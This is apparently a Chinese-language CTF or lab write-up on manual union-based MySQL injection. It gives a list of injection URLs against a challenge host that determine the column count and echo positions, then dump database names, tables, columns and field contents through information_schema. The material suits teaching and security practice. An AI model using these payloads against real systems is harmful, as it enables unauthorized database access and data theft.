前提知识点**——Mysql注入原理**

    1、判断注入点,需要求闭合字符(注意字符型与数字型)
    2、通过order by n 判断列数
    3、通过union select 判断回显位置(只有判断出回显位置,才能注入显示出数据)
    4、再通过Mysql 5.0以上内置库information_schema查询数据,如下图:

    clipboard.png

    注:以上方式是常规手注的方式,如有不对请提出,望见谅!!!

    进入正题
    点开题目链接,寻找注入点

    1. # 通过下面方式,可以判断是数字型注入
    2. http://219.153.49.228:48457/new_list.php?id=1 and 1=1-- -
    3. http://219.153.49.228:48457/new_list.php?id=1 and 1=2-- -
    4. # 通过order by n判断列数,这里当n等于4时,正常回显;n等于5时,回显无数据,可以判断当前列数是4列
    5. http://219.153.49.228:48457/new_list.php?id=1 order by 4
    6. # 通过union select 判断回显位置,这里2和3位置可以回显,所以注入语句放在2或3是可以将查询数据回显出来
    7. http://219.153.49.228:48457/new_list.php?id=-1 union select 1,2,3,4-- -
    8. # 查询当前数据库名
    9. http://219.153.49.228:48457/new_list.php?id=-1 union select 1,database(),3,4-- -
    10. # 查询数据库版本
    11. http://219.153.49.228:48457/new_list.php?id=-1 union select 1,version(),3,4-- -
    12. # 查询所有数据库
    13. http://219.153.49.228:48457/new_list.php?id=-1 union select 1,2,(select group_concat(schema_name) from information_schema.schemata),4-- -
    14. # 查询某数据库下的所有表
    15. http://219.153.49.228:48457/new_list.php?id=-1 union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema='数据库名'),4-- -
    16. # 查询某数据库下的某表下的所有字段
    17. http://219.153.49.228:48457/new_list.php?id=-1 union select 1,2,(select group_concat(column_name) from information_schema.columns where table_schema='数据库名' and table_name='此数据库下的表名'),4-- -
    18. # 查询字段下的内容
    19. http://219.153.49.228:48457/new_list.php?id=-1 union select 1,2,(select concat(字段名1,'-',字段名2,'-',字段名3) from 表名 limit 0,1),4-- -